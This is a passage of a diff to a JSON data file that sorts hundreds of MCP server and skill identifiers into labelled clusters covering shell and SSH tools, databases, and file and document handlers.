"mcp-server:powershell-exec", + "mcp-server:pox-sdn-controller", + "mcp-server:pr-copilot", + "mcp-server:prd-creator", + "mcp-server:pre-dev-architect", + "mcp-server:premiere-pro", + "mcp-server:prisma-sd-wan", + "mcp-server:pro-tools", + "mcp-server:probe-kit", + "mcp-server:process-street", + "mcp-server:processing", + "mcp-server:project-brain", + "mcp-server:project-handoffs", + "mcp-server:project-management", + "mcp-server:project-mcp", + "mcp-server:project-orchestrator", + "mcp-server:project-planner-ai", + "mcp-server:project-synapse", + "mcp-server:proletariat-cli", + "mcp-server:prometheus-monitoring", + "mcp-server:prompeteer", + "mcp-server:prompt-auto-optimizer", + "mcp-server:prompt-cleaner", + "mcp-server:prompt-cleaner-python", + "mcp-server:prompt-control-plane", + "mcp-server:prompt-engine", + "mcp-server:prompt-library", + "mcp-server:prompt-manager", + "mcp-server:prompt-rejector", + "mcp-server:prompt-switchboard", + "mcp-server:prompt-template-server-go", + "mcp-server:prompt-tester", + "mcp-server:promptcrafting", + "mcp-server:promptheus", + "mcp-server:promptlab", + "mcp-server:promptopia", + "mcp-server:promptot", + "mcp-server:prompts-chat", + "mcp-server:prompts-library", + "mcp-server:promptspeak", + "mcp-server:promptthrift", + "mcp-server:promptvault", + "mcp-server:promptz", + "mcp-server:prompyai", + "mcp-server:prop-firm-deal-finder", + "mcp-server:proxy-doctor", + "mcp-server:proxy-veil", + "mcp-server:proxypin", + "mcp-server:prsai-ppt-translation-mcp", + "mcp-server:prts-gaming-platform", + "mcp-server:ptp-timing-monitor-openshift", + "mcp-server:pty-terminal", + "mcp-server:pub-dev", + "mcp-server:publish-registry-helper", + "mcp-server:purescript-development-tools", + "mcp-server:pyright-daedalus", + "mcp-server:pyth-network", + "mcp-server:pytorch-hud", + "mcp-server:pytorch-lightning", + "mcp-server:qa-lab-agent", + "mcp-server:qase-test-management", + "mcp-server:qcqx-project-manager", + "mcp-server:qgis", + "mcp-server:qgis-geographic-information-system", + "mcp-server:qgis-processing-tools", + "mcp-server:qubic-mcp", + "mcp-server:queue-pilot", + "mcp-server:quiet-shell", + "mcp-server:qwen3-toolkit", + "mcp-server:random-user", + "mcp-server:ranex-framework", + "mcp-server:rayon-design-cad", + "mcp-server:razz-games", + "mcp-server:re-earth-cms", + "mcp-server:reachy-mini", + "mcp-server:react-development-assistant", + "mcp-server:reading-companion", + "mcp-server:readwise-enhanced", + "mcp-server:reclass-net", + "mcp-server:red-hat-lightspeed", + "mcp-server:redshift-utils", + "mcp-server:redteam-toolkit", + "mcp-server:reexpress-sdm-verification", + "mcp-server:reflection-skills", + "mcp-server:reframework-re-engine", + "mcp-server:registry", + "mcp-server:remote-access-ssh-uart", + "mcp-server:remote-command", + "mcp-server:remote-exec-gateway", + "mcp-server:remote-registry", + "mcp-server:remote-terminal", + "mcp-server:remotion-studio", + "mcp-server:report-needs", + "mcp-server:reqable-traffic-capture", + "mcp-server:resource-hub", + "mcp-server:respira-for-wordpress", + "mcp-server:restaurant-finder-with-preference-elicitation", + "mcp-server:reverse-engineering-toolkit", + "mcp-server:revolver-orchestrator", + "mcp-server:rf-tools", + "mcp-server:rfc-editor", + "mcp-server:rfk-jr-gateway", + "mcp-server:rgb-lightning-node", + "mcp-server:rhein1-agoragentic-integrations", + "mcp-server:rhymix-cms", + "mcp-server:rightnow-forge", + "mcp-server:rigol-dho824-oscilloscope", + "mcp-server:rigol-ds1000z-oscilloscope", + "mcp-server:rive-editor", + "mcp-server:rlm-tools", + "mcp-server:roblox-studio", + "mcp-server:roblox-studio-by-posuceius", + "mcp-server:robot-framework-log", + "mcp-server:robotstxt-ai-by-sharozdawa", + "mcp-server:ros-2", + "mcp-server:ros-2-polishing-robot", + "mcp-server:ros-2-robot-control", + "mcp-server:ros-robot-control", + "mcp-server:rosetta-protein-modeling", + "mcp-server:router", + "mcp-server:rp1-dev", + "mcp-server:rs-fast-mcp", + "mcp-server:rs485-serial-bus", + "mcp-server:ruby-console", + "mcp-server:run-shell-command", + "mcp-server:run-typescript-skills", + "mcp-server:s-box-editor", + "mcp-server:s3-tools", + "mcp-server:sac-tools", + "mcp-server:safe-ssh", + "mcp-server:sage-universal-ai-assistant", + "mcp-server:salesforce", + "mcp-server:salesforce-ai-agent", + "mcp-server:salesforce-cli", + "mcp-server:salesforce-crm", + "mcp-server:salesforce-platform", + "mcp-server:sandbox-fusion", + "mcp-server:sanity-cms", + "mcp-server:sap", + "mcp-server:sap-abap-adt", + "mcp-server:sap-abap-dev-release", + "mcp-server:sap-abap-development-tools", + "mcp-server:sap-ai-agent", + "mcp-server:sap-businessobjects-bi", + "mcp-server:sap-cap", + "mcp-server:sap-cloudification-repository", + "mcp-server:sap-commerce-cloud-hybris", + "mcp-server:sap-fiori", + "mcp-server:sap-gui-advanced", + "mcp-server:sap-hana", + "mcp-server:sap-netweaver-gateway", + "mcp-server:sap-notes", + "mcp-server:sap-odata-btp", + "mcp-server:sap-odata-btp-optimized", + "mcp-server:sap-ui5-web-components", + "mcp-server:sapling-version-control", + "mcp-server:satollo-wordpress-mcp", + "mcp-server:sauce-labs", + "mcp-server:schematic", + "mcp-server:school-tools-canvas-gradescope", + "mcp-server:screenshot-server", + "mcp-server:script-tool", + "mcp-server:se-pest-management", + "mcp-server:second-opinion", + "mcp-server:secret-management", + "mcp-server:secure-chain", + "mcp-server:secure-exec", + "mcp-server:secure-http", + "mcp-server:secure-shell-executor", + "mcp-server:seenthis-ai-hub", + "mcp-server:sefaria-jewish-library", + "mcp-server:self-hosted-supabase", + "mcp-server:selfheal-proxy", + "mcp-server:selfhosted-supabase", + "mcp-server:semantic-metrics-modeling-assistant", + "mcp-server:senior-consult", + "mcp-server:sentinel-signal", + "mcp-server:sentry-issues", + "mcp-server:serial-port", + "mcp-server:serverman-server-manager", + "mcp-server:servers-com", + "mcp-server:session-forge", + "mcp-server:sfcc-development-tools", + "mcp-server:sftp-orchestrator", + "mcp-server:shadcn-ui-registry-manager", + "mcp-server:shadow-cljs-build-monitor", + "mcp-server:shadow-mcp-server", + "mcp-server:shared-mcp-gateway", + "mcp-server:shell", + "mcp-server:shell-command", + "mcp-server:shell-command-executor", + "mcp-server:shell-command-runner", + "mcp-server:shell-exec", + "mcp-server:shell-history", + "mcp-server:shellkeeper", + "mcp-server:shutter-network", + "mcp-server:simple-commands", + "mcp-server:simple-openai-assistant", + "mcp-server:simple-prompt-optimizer", + "mcp-server:singularity-layer", + "mcp-server:skill-hub", + "mcp-server:skill-management", + "mcp-server:skill-ninja", + "mcp-server:skill-router", + "mcp-server:skill-swarm", + "mcp-server:skill-to-mcp", + "mcp-server:skill-vision-control", + "mcp-server:skills", + "mcp-server:skills-directory", + "mcp-server:skillsmith", + "mcp-server:skillsync", + "mcp-server:skillz", + "mcp-server:slim-utility-suite", + "mcp-server:slm-hub", + "mcp-server:smart-proxy-daedalus", + "mcp-server:smart-terminal", + "mcp-server:smcp-proxy-oidc", + "mcp-server:socfortress-copilot", + "mcp-server:sociologic-signal-relay", + "mcp-server:software-development-prompts", + "mcp-server:software-planning", + "mcp-server:software-planning-tool", + "mcp-server:solidjs-skills", + "mcp-server:solitaire-for-agents", + "mcp-server:source-map-parser", + "mcp-server:source-parts", + "mcp-server:source-relation", + "mcp-server:sovereign-node", + "mcp-server:spawn-mcp-dashboard", + "mcp-server:spec-coding", + "mcp-server:spec-driven-development", + "mcp-server:spec-kit", + "mcp-server:spec-score", + "mcp-server:spec-workflow", + "mcp-server:specs-workflow", + "mcp-server:spiral-writer", + "mcp-server:spline-3d-design", + "mcp-server:spotr-exercise-library", + "mcp-server:spraay-x402-gateway", + "mcp-server:spring-ai-accounts", + "mcp-server:spring-io", + "mcp-server:spring-jvm-diagnostics", + "mcp-server:sqlite-hr-management", + "mcp-server:sqlite-literature-manager", + "mcp-server:sqlite-tools", + "mcp-server:ssh", + "mcp-server:ssh-client", + "mcp-server:ssh-commander", + "mcp-server:ssh-gateway", + "mcp-server:ssh-hub", + "mcp-server:ssh-liaison", + "mcp-server:ssh-licco", + "mcp-server:ssh-linux-administration", + "mcp-server:ssh-manager", + "mcp-server:ssh-orchestrator", + "mcp-server:ssh-rails-runner", + "mcp-server:ssh-remote-command-execution", + "mcp-server:ssh-remote-execute", + "mcp-server:ssh-remote-management", + "mcp-server:ssh-remote-xiyueyy", + "mcp-server:ssh-tools", + "mcp-server:ssl-monitor", + "mcp-server:stack-overflow", + "mcp-server:stackbilt-gateway", + "mcp-server:stackone-connectors-disco-dev", + "mcp-server:stackzero-ui-components", + "mcp-server:standards", + "mcp-server:standards-finder", + "mcp-server:starknet-agent-kit", + "mcp-server:status-observer", + "mcp-server:stdio-http-relay", + "mcp-server:stdio-to-sse-mcp", + "mcp-server:stk-ansys-agi-systems-tool-kit", + "mcp-server:stl-editor", + "mcp-server:storybook", + "mcp-server:strada-unity", + "mcp-server:strands-agents", + "mcp-server:strapi-cms", + "mcp-server:strategy-skills", + "mcp-server:stream", + "mcp-server:stream-deck", + "mcp-server:structured", + "mcp-server:structured-workflow", + "mcp-server:strudel-live-coding", + "mcp-server:studio-5000", + "mcp-server:studiomeyer-crew", + "mcp-server:studiomeyer-crm", + "mcp-server:studiomeyer-geo", + "mcp-server:style-guidelines", + "mcp-server:sub-agents", + "mcp-server:substack-publisher", + "mcp-server:sudoku-solver", + "mcp-server:sumo-logic", + "mcp-server:sumup-agent-toolkit", + "mcp-server:supabase", + "mcp-server:supabase-coolify", + "mcp-server:supabase-management", + "mcp-server:supabase-self-hosted", + "mcp-server:supathings-mcp", + "mcp-server:super-productivity", + "mcp-server:super-shell", + "mcp-server:super-windows-cli", + "mcp-server:superhero-team-management", + "mcp-server:suzieq-mcp", + "mcp-server:swarm-agent-orchestrator", + "mcp-server:swift-sourcekit-lsp", + "mcp-server:swiftmcp-runtime", + "mcp-server:switch-science-micropython", + "mcp-server:symfony-profiler", + "mcp-server:synapse-layer", + "mcp-server:sysml-xmi-parser", + "mcp-server:system-control", + "mcp-server:system-info", + "mcp-server:system-information", + "mcp-server:system-monitor", + "mcp-server:system-resource-monitor", + "mcp-server:systemd-manager", + "mcp-server:systems-modeling", + "mcp-server:tadas-github-a2asearch-mcp", + "mcp-server:tailscale-network-monitor", + "mcp-server:tailscale-status", + "mcp-server:talent-augmenting-layer", + "mcp-server:task-manager", + "mcp-server:task-orchestrator", + "mcp-server:task-tools-rog0x", + "mcp-server:tasks-organizer", + "mcp-server:tavily-load-balancer", + "mcp-server:tax-workflow", + "mcp-server:tech-enrichment", + "mcp-server:temporal-durable-mcp", + "mcp-server:temporal-workflows", + "mcp-server:terminal", + "mcp-server:terminal-command-executor", + "mcp-server:terminal-control", + "mcp-server:terminal-controller", + "mcp-server:terminal-hook", + "mcp-server:terminal-log-manager", + "mcp-server:terminal-process-manager", + "mcp-server:terminal-session", + "mcp-server:terminal-sessions", + "mcp-server:terminal-shell", + "mcp-server:terminal-shop", + "mcp-server:terminal-task-tracker", + "mcp-server:terraform-registry", + "mcp-server:test-coverage", + "mcp-server:test-framework", + "mcp-server:test-genie", + "mcp-server:test-responses", + "mcp-server:test-runner", + "mcp-server:text-diff-python", + "mcp-server:text-editor", + "mcp-server:thinkfleet-toolkit", + "mcp-server:thomson-mo5-development", + "mcp-server:thread-manager", + "mcp-server:three-js-devtools", + "mcp-server:tiger-skills", + "mcp-server:tiny-todo", + "mcp-server:tiptap-collaboration", + "mcp-server:tmf620-product-catalog-management", + "mcp-server:tmux", + "mcp-server:tmux-mcp", + "mcp-server:tmux-mcp-agent", + "mcp-server:todo", + "mcp-server:todo-list", + "mcp-server:todo-manager", + "mcp-server:todo-with-neon-and-kinde", + "mcp-server:todoist-extended", + "mcp-server:toleno-network", + "mcp-server:tolk-compiler", + "mcp-server:ton-access", + "mcp-server:tool-chainer", + "mcp-server:tool-filter", + "mcp-server:toolbox", + "mcp-server:toolkit-system-utilities", + "mcp-server:tooloracle-flight", + "mcp-server:topo-shadow-box", + "mcp-server:tox-testing", + "mcp-server:tpc-server", + "mcp-server:tpm-technical-project-manager", + "mcp-server:trace", + "mcp-server:tradingview-pinescript-backtest-engine", + "mcp-server:trados-powershell", + "mcp-server:transcription-tools", + "mcp-server:trends-mcp", + "mcp-server:trino-sql-query-engine", + "mcp-server:tron-light-cycle-game", + "mcp-server:tscircuit-registry", + "mcp-server:tuba-workflow", + "mcp-server:twenty-crm", + "mcp-server:twilio-manager", + "mcp-server:twolinecloud-portal", + "mcp-server:tyler-forge", + "mcp-server:typescript", + "mcp-server:typescript-definition-finder", + "mcp-server:typescript-prompt-development", + "mcp-server:typescript-refactoring", + "mcp-server:uart-serial-communication", + "mcp-server:ubuntu-system-control", + "mcp-server:ue5-blueprint", + "mcp-server:ue5-ultimate-unreal-engine-5", + "mcp-server:uefn", + "mcp-server:ui-flowchart-creator", + "mcp-server:ultra-multi-ai-provider", + "mcp-server:umbraco-cms-developer", + "mcp-server:umcp-unity-editor", + "mcp-server:uni-gateway", + "mcp-server:unifi-applications", + "mcp-server:unified-frontend-libraries", + "mcp-server:unified-gateway", + "mcp-server:unified-mcp-framework", + "mcp-server:unified-to", + "mcp-server:unified-tools", + "mcp-server:unit-converter", + "mcp-server:unity", + "mcp-server:unity-catalog", + "mcp-server:unity-code", + "mcp-server:unity-editor", + "mcp-server:unity-mcp", + "mcp-server:unity-ollama", + "mcp-server:unity-probuilder", + "mcp-server:unity-project-tools", + "mcp-server:unityctl", + "mcp-server:universal-robots", + "mcp-server:universal-robots-control-interface", + "mcp-server:universal-solver-z3-cvxpy-or-tools", + "mcp-server:universal-test-framework", + "mcp-server:uno-platform", + "mcp-server:unreal-engine", + "mcp-server:unreal-engine-5", + "mcp-server:unreal-engine-5-blueprint", + "mcp-server:unreal-engine-analyzer", + "mcp-server:unreal-engine-api-documentation", + "mcp-server:unreal-engine-binary-reader", + "mcp-server:unreal-engine-editor", + "mcp-server:unreal-engine-remote-control", + "mcp-server:unreal-engine-remote-execution", + "mcp-server:uptime-probe", + "mcp-server:user-agent-parser", + "mcp-server:user-feedback", + "mcp-server:user-prompt", + "mcp-server:ux-toolkit-by-elsahafy", + "mcp-server:v0-platform", + "mcp-server:vercel", + "mcp-server:vercel-ai", + "mcp-server:via-ai", + "mcp-server:vigentic-ide", + "mcp-server:visual-studio", + "mcp-server:visuals-mcp", + "mcp-server:vitra-ai-multi-agent", + "mcp-server:vm-terminal", + "mcp-server:vmware-aiops", + "mcp-server:vmware-esxi", + "mcp-server:vmware-fusion", + "mcp-server:vmware-monitor", + "mcp-server:vmware-storage-by-zw008", + "mcp-server:vmware-vks", + "mcp-server:vmware-vsphere", + "mcp-server:vmware-workstation-pro", + "mcp-server:vonage-assist", + "mcp-server:waitlist-kit", + "mcp-server:wasl-arabic-tools", + "mcp-server:watson-discovery", + "mcp-server:watson-orchestrate-builder", + "mcp-server:web-to-mcp", + "mcp-server:web-tools", + "mcp-server:web3-framer-plugin", + "mcp-server:webmiliastra-nodes-editor", + "mcp-server:websearch-tools", + "mcp-server:websocket-enhancer", + "mcp-server:weishaupt-wem-portal", + "mcp-server:who-icd-codes", + "mcp-server:wikimedia-enterprise", + "mcp-server:windows-cli", + "mcp-server:windows-command-line-mcp-server", + "mcp-server:windows-terminal", + "mcp-server:windsurf-tools", + "mcp-server:wiremcp-wireshark", + "mcp-server:wireshark", + "mcp-server:wireshark-network-analysis", + "mcp-server:wishing-genie", + "mcp-server:wolfram-engine", + "mcp-server:wolframalpha-llm", + "mcp-server:wordpress", + "mcp-server:wordpress-abilities-extended", + "mcp-server:wordpress-ai-integration", + "mcp-server:wordpress-backup-manager", + "mcp-server:wordpress-by-crunchtools", + "mcp-server:wordpress-devdocs", + "mcp-server:wordpress-gutenberg", + "mcp-server:wordpress-manager", + "mcp-server:wordpress-org-trac", + "mcp-server:wordpress-remote", + "mcp-server:wordpress-trac", + "mcp-server:wordpress-woocommerce", + "mcp-server:work-at-a-startup", + "mcp-server:work90210-apifold", + "mcp-server:workflows", + "mcp-server:wsl-exec", + "mcp-server:wsl-terminal", + "mcp-server:x-com", + "mcp-server:x402-discovery", + "mcp-server:x402-engine", + "mcp-server:xbow-ctf-platform", + "mcp-server:xingchen-workflow-orchestration", + "mcp-server:yamu-unity-editor", + "mcp-server:yiui-unity", + "mcp-server:yq-autocad-architecture", + "mcp-server:zen-multi-model-ai-collaboration", + "mcp-server:zoom", + "mcp-server:zoom-no-auth", + "mcp-server:zpl-engine", + "mcp-server:zplanner-project-management", + "mcp-server:zsh-tool", + "skill:_embeddings", + "skill:clarvia-aeo-check", + "skill:find-skills", + "skill:godot-4-migration", + "skill:internal-comms-community", + "skill:learned", + "skill:mcp-builder-ms", + "skill:n8n-mcp-tools-expert", + "skill:test-e2e-skill", + "skill:x-article-publisher-skill" + ] + }, + "10": { + "label": "Community + Official + Reference", + "members": [ + "mcp-server:12306-ticket-query", + "mcp-server:aws-rds-mysql", + "mcp-server:bdu-fstec-vulnerability-database", + "mcp-server:biomcp-biomedical-database-integration", + "mcp-server:centralmind-database-gateway", + "mcp-server:chinese-legal-database", + "mcp-server:citus", + "mcp-server:clickhouse-database", + "mcp-server:codemode-sqlite", + "mcp-server:csv-to-json", + "mcp-server:csv-to-postgresql", + "mcp-server:custom-database", + "mcp-server:dart-query", + "mcp-server:data-pipeline-connector", + "mcp-server:database-access-multi-database", + "mcp-server:database-bulk-update", + "mcp-server:database-connections", + "mcp-server:database-connector", + "mcp-server:database-crud", + "mcp-server:database-explorer", + "mcp-server:database-jdbc", + "mcp-server:database-lookup-protocol", + "mcp-server:database-operations", + "mcp-server:database-query", + "mcp-server:database-read-only-access", + "mcp-server:databricks-sql", + "mcp-server:datalink", + "mcp-server:db-bridge", + "mcp-server:db-connect", + "mcp-server:db-connector-mysql-postgresql", + "mcp-server:db-query", + "mcp-server:dbhub-universal-database-gateway", + "mcp-server:digitalocean-database", + "mcp-server:dm8-dameng-database", + "mcp-server:duckdb", + "mcp-server:ebay-cdata-jdbc", + "mcp-server:encrypted-sqlite", + "mcp-server:enhanced-postgresql", + "mcp-server:enterprise-printer-database", + "mcp-server:executeautomation-database-server", + "mcp-server:fan-out-query-analyser", + "mcp-server:fastmcp-sql-tools", + "mcp-server:fedlex-connector", + "mcp-server:firebase", + "mcp-server:firebase-firestore", + "mcp-server:firebase-realtime-database", + "mcp-server:firebird-sql", + "mcp-server:fireproof-json-database", + "mcp-server:fireproof-json-document-store", + "mcp-server:focus-sql", + "mcp-server:gel-database", + "mcp-server:gnosis", + "mcp-server:haymon-database", + "mcp-server:ibm-db2-for-i", + "mcp-server:ibm-i", + "mcp-server:ibm-informix", + "mcp-server:imessage-query", + "mcp-server:jdbc-database", + "mcp-server:jdbc-database-bridge", + "mcp-server:jdbc-database-connector", + "mcp-server:jdbc-database-explorer", + "mcp-server:jq-json-query", + "mcp-server:json-canvas", + "mcp-server:json-filter", + "mcp-server:json-logs", + "mcp-server:json-manipulation", + "mcp-server:json-query", + "mcp-server:json-resume", + "mcp-server:json-resume-enhancer", + "mcp-server:json-rpc-2-0", + "mcp-server:json-schema-generator-filter", + "mcp-server:json-schema-manager", + "mcp-server:json-skeleton", + "mcp-server:json-splitter-and-merger", + "mcp-server:json-validator", + "mcp-server:legion-database", + "mcp-server:libsql-database", + "mcp-server:lsd-sql", + "mcp-server:mariadb", + "mcp-server:mcap-query", + "mcp-server:mcpql-sql-server", + "mcp-server:medical-sql-mysql-hospital-database", + "mcp-server:microsoft-sql-server", + "mcp-server:microsoft-sql-server-mssql", + "mcp-server:mig2schema", + "mcp-server:migrationpilot", + "mcp-server:milvus-vector-database", + "mcp-server:mimer-sql", + "mcp-server:mochow-vector-database", + "mcp-server:mongodb-database", + "mcp-server:mongodb-mysql-database", + "mcp-server:mongodb-read-only", + "mcp-server:mssql", + "mcp-server:mssql-database-manager", + "mcp-server:mssql-database-query", + "mcp-server:mysql", + "mcp-server:mysql-connector", + "mcp-server:mysql-database", + "mcp-server:mysql-database-explorer", + "mcp-server:mysql-database-manager", + "mcp-server:mysql-database-query", + "mcp-server:mysql-database-service", + "mcp-server:mysql-database-tools", + "mcp-server:mysql-manager-qwen", + "mcp-server:mysql-mariadb-database-navigator", + "mcp-server:mysql-query", + "mcp-server:mysql-read-only", + "mcp-server:mysql-read-only-rust", + "mcp-server:mysql-schema-explorer", + "mcp-server:mysql-sse", + "mcp-server:mysql-webui", + "mcp-server:neon", + "mcp-server:neon-postgresql", + "mcp-server:nile-database", + "mcp-server:nvd-national-vulnerability-database", + "mcp-server:odbc-database-connector", + "mcp-server:openstreetmap-tagging-schema", + "mcp-server:oracle-database", + "mcp-server:oracle-sql-explorer", + "mcp-server:ordnance-survey-national-geographic-database", + "mcp-server:osv-database-api", + "mcp-server:osv-vulnerability-database", + "mcp-server:pg-aiguide", + "mcp-server:pgedge-postgres", + "mcp-server:pgtuner", + "mcp-server:php-pdo-database", + "mcp-server:pinecone-developer-vector-database", + "mcp-server:pinemcp-multi-database", + "mcp-server:postgis", + "mcp-server:postgis-yukon", + "mcp-server:postgres", + "mcp-server:postgres-connector", + "mcp-server:postgres-query", + "mcp-server:postgres-scout", + "mcp-server:postgresql", + "mcp-server:postgresql-advanced", + "mcp-server:postgresql-alchemy", + "mcp-server:postgresql-and-mysql", + "mcp-server:postgresql-database", + "mcp-server:postgresql-database-explorer", + "mcp-server:postgresql-database-manager", + "mcp-server:postgresql-explorer", + "mcp-server:postgresql-finder", + "mcp-server:postgresql-multi-schema", + "mcp-server:postgresql-ops", + "mcp-server:postgresql-pro-plus", + "mcp-server:postgresql-schema-inspector", + "mcp-server:postgrest", + "mcp-server:prisma-postgres", + "mcp-server:psycopg2", + "mcp-server:qdrant-vector-database", + "mcp-server:querypie-database-access-control", + "mcp-server:rbdc-database", + "mcp-server:read-mysql", + "mcp-server:read-only-postgresql-by-hovecapital", + "mcp-server:run402", + "mcp-server:schema-gen-by-sharozdawa", + "mcp-server:schemaflow", + "mcp-server:sigmund-postgresql-banking", + "mcp-server:simple-language", + "mcp-server:simple-postgresql", + "mcp-server:simple-snowflake", + "mcp-server:spark-sql", + "mcp-server:sql-alchemy", + "mcp-server:sql-database", + "mcp-server:sql-database-assistant", + "mcp-server:sql-database-bridge", + "mcp-server:sql-database-connector", + "mcp-server:sql-guard", + "mcp-server:sql-sentinel", + "mcp-server:sql-server", + "mcp-server:sql-server-by-bulentkeskin", + "mcp-server:sql-server-express", + "mcp-server:sql-server-natural-language", + "mcp-server:sql-server-performance-monitor", + "mcp-server:sql-server-pro", + "mcp-server:sql-server-schema-explorer", + "mcp-server:sql-server-windows", + "mcp-server:sql-stream-builder", + "mcp-server:sql-tunnel", + "mcp-server:sqlite", + "mcp-server:sqlite-access-control", + "mcp-server:sqlite-database", + "mcp-server:sqlite-enhanced", + "mcp-server:sqlite-explorer", + "mcp-server:sqlite-node-js", + "mcp-server:sqlite-tool", + "mcp-server:sqlmap", + "mcp-server:stellar-xdr-json", + "mcp-server:string-database", + "mcp-server:supabase-postgresql", + "mcp-server:tapdata-database-explorer", + "mcp-server:teradata-database", + "mcp-server:teradata-sql", + "mcp-server:text-to-sql-mysql", + "mcp-server:tiger", + "mcp-server:tmdb-the-movie-database", + "mcp-server:toolbox-for-databases", + "mcp-server:toolfront", + "mcp-server:transform-rules", + "mcp-server:turso-sqlite", + "mcp-server:universal-database", + "mcp-server:universal-sql", + "mcp-server:xiyansql-mysql", + "mcp-server:zaj-mysql", + "mcp-server:zaturn-sql-data-analysis", + "skill:pubmed-database", + "skill:uniprot-database" + ] + }, + "11": { + "label": "Community + Official + Reference", + "members": [ + "mcp-server:ai-answer-copier", + "mcp-server:ai-group-markdown-to-word", + "mcp-server:aleph", + "mcp-server:arcade-games-archive-org", + "mcp-server:autodocument", + "mcp-server:bach-filecommander", + "mcp-server:bible", + "mcp-server:bible-study", + "mcp-server:blankfiles", + "mcp-server:build-vault", + "mcp-server:cedarscript-file-manipulation", + "mcp-server:cellpilot", + "mcp-server:chatbi", + "mcp-server:che-word", + "mcp-server:claude-conversations-to-markdown", + "mcp-server:cloudflare-ai-to-markdown", + "mcp-server:coding-file-context", + "mcp-server:consistent-docx", + "mcp-server:convertapi", + "mcp-server:couchbase", + "mcp-server:couchdb", + "mcp-server:cozi-family-organizer", + "mcp-server:crunchtools-feed-reader", + "mcp-server:csv-and-excel-processor", + "mcp-server:dash", + "mcp-server:deepwiki-markdown-converter", + "mcp-server:delete-file", + "mcp-server:digital-defiance-filesystem", + "mcp-server:distill", + "mcp-server:doc2md", + "mcp-server:docbase", + "mcp-server:docbot", + "mcp-server:docdex", + "mcp-server:docfork", + "mcp-server:docling", + "mcp-server:docmost", + "mcp-server:docnav", + "mcp-server:docpick", + "mcp-server:docs2prompt", + "mcp-server:docsscraper", + "mcp-server:doctranslate-io", + "mcp-server:doctree", + "mcp-server:docu-scan", + "mcp-server:document-converter", + "mcp-server:document-forge", + "mcp-server:document-operations-word-excel-pdf", + "mcp-server:document-parser", + "mcp-server:document-reader", + "mcp-server:document-studio", + "mcp-server:documentation-markdown-converter", + "mcp-server:docx-document-processor", + "mcp-server:docxprocessor", + "mcp-server:downloads-organizer", + "mcp-server:downturn", + "mcp-server:edit-files", + "mcp-server:epublys", + "mcp-server:excel", + "mcp-server:excel-automation", + "mcp-server:excel-bridge", + "mcp-server:excel-data-manager", + "mcp-server:excel-explorer", + "mcp-server:excel-file-manipulation", + "mcp-server:excel-file-processor", + "mcp-server:excel-master", + "mcp-server:excel-read-tools", + "mcp-server:excel-reader", + "mcp-server:excel-search", + "mcp-server:excel-to-json", + "mcp-server:excel-to-pdf-converter", + "mcp-server:excel-xlwings", + "mcp-server:excel-xlwings-com", + "mcp-server:exiftool", + "mcp-server:fast-filesystem", + "mcp-server:fastmcp-pdftools", + "mcp-server:feed-forge", + "mcp-server:feishu-markdown", + "mcp-server:file-ai", + "mcp-server:file-control", + "mcp-server:file-converter", + "mcp-server:file-editor", + "mcp-server:file-finder", + "mcp-server:file-format-converter-pandoc", + "mcp-server:file-kiwi", + "mcp-server:file-merger", + "mcp-server:file-modifier", + "mcp-server:file-operations", + "mcp-server:file-organizer", + "mcp-server:file-system-access", + "mcp-server:file-system-observer", + "mcp-server:file-system-operations", + "mcp-server:file-system-tools", + "mcp-server:file-system-utilities", + "mcp-server:file-tools-by-dimitar-grigorov", + "mcp-server:files-com", + "mcp-server:files-db", + "mcp-server:files-stdio", + "mcp-server:filescope", + "mcp-server:filesift", + "mcp-server:filesystem", + "mcp-server:filesystem-access", + "mcp-server:filesystem-context", + "mcp-server:filesystem-quarkus", + "mcp-server:filesystem-rust", + "mcp-server:findfiles", + "mcp-server:folo-rss-reader", + "mcp-server:foxit-pdf-api", + "mcp-server:ftp-file-manager", + "mcp-server:gedcom-ancestry-files", + "mcp-server:grep", + "mcp-server:handwriting-ocr", + "mcp-server:hive-vault", + "mcp-server:html-to-markdown", + "mcp-server:html-to-pdf-generator", + "mcp-server:huoshui-file-converter", + "mcp-server:huoshui-pdf-converter", + "mcp-server:huoshui-pdf-translator", + "mcp-server:hwp-hwpx-file-handler", + "mcp-server:jina-reader", + "mcp-server:latex-document-compiler", + "mcp-server:lexware-office", + "mcp-server:linux-filesystem", + "mcp-server:lizeur-pdf-ocr", + "mcp-server:local-file-organizer", + "mcp-server:local-file-reader", + "mcp-server:local-ollama-file-operations", + "mcp-server:mango-office", + "mcp-server:markdown-crawler", + "mcp-server:markdown-downloader", + "mcp-server:markdown-exporter", + "mcp-server:markdown-for-agents", + "mcp-server:markdown-library", + "mcp-server:markdown-mermaid-pdf", + "mcp-server:markdown-mindmap", + "mcp-server:markdown-navigator", + "mcp-server:markdown-renderer", + "mcp-server:markdown-spec", + "mcp-server:markdown-to-html", + "mcp-server:markdown-to-pdf", + "mcp-server:markdown-to-pdf-converter", + "mcp-server:markdown-toc", + "mcp-server:markdown-vault", + "mcp-server:markdown-web-extractor", + "mcp-server:markdownify", + "mcp-server:markdownpointer", + "mcp-server:markitdown-npx-wrapper", + "mcp-server:markly", + "mcp-server:markmap", + "mcp-server:markview", + "mcp-server:microsoft-word", + "mcp-server:mifactory-pdf", + "mcp-server:mineru", + "mcp-server:mioffice", + "mcp-server:mistral-ocr", + "mcp-server:ms-word", + "mcp-server:multi-file-edit", + "mcp-server:nanopdf", + "mcp-server:notion-markdown", + "mcp-server:nougat-ocr", + "mcp-server:obsidian", + "mcp-server:obsidian-abides", + "mcp-server:obsidian-advanced", + "mcp-server:obsidian-cli", + "mcp-server:obsidian-cli-alexfatalix", + "mcp-server:obsidian-curiosity-engine", + "mcp-server:obsidian-diary", + "mcp-server:obsidian-dictionary", + "mcp-server:obsidian-icloud", + "mcp-server:obsidian-index", + "mcp-server:obsidian-local", + "mcp-server:obsidian-local-rest-api", + "mcp-server:obsidian-notes", + "mcp-server:obsidian-omnisearch", + "mcp-server:obsidian-pdf-evidence", + "mcp-server:obsidian-semantic", + "mcp-server:obsidian-sync", + "mcp-server:obsidian-tasks", + "mcp-server:obsidian-vault", + "mcp-server:obsidian-vault-health", + "mcp-server:obsidian-vault-manager", + "mcp-server:obsidian-via-rest", + "mcp-server:obsidian-web", + "mcp-server:obsidian-workspace", + "mcp-server:ocr-extract", + "mcp-server:office", + "mcp-server:office-powerpoint", + "mcp-server:office-word", + "mcp-server:onlyoffice-docspace", + "mcp-server:opendocuments", + "mcp-server:openpyxl-excel", + "mcp-server:oral-heritage-index", + "mcp-server:oxidize-pdf", + "mcp-server:pageindex", + "mcp-server:pandoc-markdown-to-powerpoint", + "mcp-server:paper-intelligence", + "mcp-server:paperoffice-document-ai", + "mcp-server:parseflow", + "mcp-server:pdf", + "mcp-server:pdf-co", + "mcp-server:pdf-extraction", + 